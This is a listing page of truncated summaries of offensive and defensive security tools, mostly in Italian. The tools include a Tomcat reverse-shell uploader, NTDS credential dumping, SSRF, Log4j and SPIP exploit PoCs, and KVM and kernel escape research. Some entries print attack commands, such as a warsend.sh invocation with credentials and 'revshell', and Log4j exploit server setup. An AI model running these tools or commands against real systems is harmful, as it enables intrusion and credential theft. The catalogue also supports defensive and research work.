warsend

WARSend Caricamento di shell WAR tramite l'API di Apache Tomcat Manager Prerequisiti Credenziali Accesso Text API a Tomcat Manager root@kitploit: $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/...

doublepulsar-detection-script

Autore: Luke Jennings [email protected] - @jukelennings Azienda: Countercept @countercept Sito web: https://countercept.com Un insieme di script python2 per scansionare un elenco di IP per rilevare la presenza delle versioni SMB e RDP dell'impianto DOUBLEPULSAR rilasciato dagli Shadow...

RCLocals

RCLocals Ispirato da 'Autoruns' di Sysinternals, RCLocals analizza tutte le possibilità di avvio di Linux per trovare backdoor, esegue anche la verifica dell'integrità dei processi, scansiona i processi con DLL iniettate e molto altro Cose coperte: ·Elenca le chiavi GPG fidate dal sistema...

emby_ssrf

msfemby Questo strumento verifica un server EMBY remoto per tentare di utilizzare una vulnerabilità SSRF ed eseguire una scansione http della rete interna al server EMBY. Si basa sulla vulnerabilità CVE-2020-26948. Installazione Clona il repository e inserisci i file rb nella directory...

certsync

certsync certsync is a new technique in order to dump NTDS remotely, but this time without DRSUAPI : it uses golden certificate and UnPAC the hash. It works in several steps: 1. Dump user list, CA informations and CRL from LDAP 2. Dump CA certificate and private key 3. Forge offline a certificate...

certsync

certsync certsync è una nuova tecnica per dumpare NTDS da remoto, ma questa volta senza DRSUAPI : utilizza golden certificate e UnPAC the hash. Funziona in diverse fasi: 1. Estrai elenco utenti, informazioni CA e CRL da LDAP 2. Estrai certificato CA e chiave privata 3. Forga offline un certificat...

epson-eh-tw5350-advisories

Epson EH-TW5350 Security Advisories B-BEAM-BOB Three vulnerabilities discovered in the Epson EH-TW5350 projector firmware 150075647YWWV110 by team B-BEAM-BOB during the KITRI Best of the Best BoB program, 2021. CVE IDs were assigned by MITRE on 2021-12-21 but the records remained unpublished unti...

GhostLock-GOT-W29

CVE-2026-43499 GhostLock — HUAWEI MatePad Pro 11 GOT-W29 Ricerca di escalation dei privilegi per CVE-2026-43499 rtmutex/futex-PI UAF, "GhostLock" su GOT-W29 HarmonyOS 4.0, kernel 4.19.157-perf+. Conclusioni principali : La primitive di scrittura della vulnerabilità è stata verificata con successo...

awesome-game-security

awesome-game-security root@kitploit: If you find that some links are not working, you can simply replace the username with gmh5225. Or you can send an issue for me. Show respect to all the projects below, perfect works of art 🫡 NeverC & NeverD — Your Compiler & Decoder for the AI Era As AI agents...

binwalk

Binwalk v3 Questa è una versione aggiornata dello strumento di analisi del firmware Binwalk, riscritto in Rust per velocità e precisione. Cosa fa? Binwalk può identificare, e opzionalmente estrarre, file e dati che sono stati incorporati all'interno di altri file. Sebbene il suo focus principale...

Zapscape

La trilogia dell'escape KVM ITScape CVE‑2026‑46316 | Januscape CVE‑2026‑53359 | Zapscape CVE‑2026‑64561 ---|---|--- Zapscape: Escape da guest a host in KVM/x86 Sommario Questo documento descrive la vulnerabilità Zapscape CVE-2026-64561 scoperta e segnalata da Hyunwoo Kim @v4bel. Si tratta di una...

sharingan

Sharingan Sharingan is a recon multitool for offensive security / bug bounty WIP, will I ever finish? Who knows Cloning for development Outside of your gopath git clone https://github.com/leobeosab/sharingan Installing go get github.com/leobeosab/sharingan/cmd/sharingancli Dependencies NMap Go...

ICMP-TransferTools

ICMP-TransferTools ICMP-TransferTools ist eine Sammlung von Skripten, die entwickelt wurden, um Dateien in eingeschränkten Netzwerkumgebungen zu und von Windows-Hosts zu übertragen. Dies wird mit insgesamt 4 verschiedenen Dateien erreicht, bestehend aus einem Python-Server und einem...

Apache-OFBiz-Directory-Traversal-exploit

Apache-OFBiz-Directory-Traversal-exploit È stata trovata una vulnerabilità classificata come critica in Apache OFBiz fino alla versione 18.12.12. La funzionalità interessata da questo problema è sconosciuta. La manipolazione tramite un input sconosciuto porta a una vulnerabilità di path traversal...

SysmonEoP

SysmonEoP Proof of Concept per l'eliminazione/scrittura arbitraria di file in Sysmon CVE-2022-41120/CVE-2022-44704 Vulnerabilità La vulnerabilità si trova nel codice responsabile dell'evento ClipboardChange, raggiungibile tramite RPC. Gli utenti locali possono inviare dati al server RPC, che...

NetMRI-2014-3418

NetMRI-CVE-2014-3418 - Modulo Metasploit Modulo Metasploit per InfoBlox Network Automation: iniezione di comandi del sistema operativo Prodotto: Network Automation root@kitploit: NetMRI Switch Port Manager Automation Change Manager Security Device Controller Fornitore: root@kitploit: InfoBlox...

RP_RecordClip_DLL_Hijack

Vulnerabilità di DLL Hijack remota in Real Player CVE-2022-32291 L'applicazione Player che è vulnerabile all'avvio di Real Converter e il Recording Manager sono soggetti a un problema di DLL hijack remoto binary planting a causa della ricerca non sicura di DLL inesistenti. Per sfruttare il...

log4j

💻 -h3x0v3rl0rd- Sfruttare log4j CVE-2021-44228 TryHackMe Solar, Walkthrough root@kitploit: git clone https://github.com/n3rdh4x0r/log4j.git 1. Esegui log4j.py Questo installerà tutte le applicazioni necessarie e avvierà il server LDAP root@kitploit: ifconfig tun0 python3 log4j.py 10.8.227.251 2...

CVE-2023-27372

CVE-2023-27372 SPIP prima della 4.2.1 consente l'esecuzione remota di codice tramite i valori dei moduli nell'area pubblica, poiché la serializzazione non viene gestita correttamente. Le versioni corrette sono 3.2.18, 4.0.10, 4.1.8 e 4.2.1. Questo PoC sfrutta un'iniezione di codice PHP in SPIP. L...

kbd-audio

kbd-audio This is a collection of command-line and GUI tools for capturing and analyzing audio data. Keytap The most interesting tool is called keytap - it can guess pressed keyboard keys only by analyzing the audio captured from the computer's microphone. Check this blog post for more details:...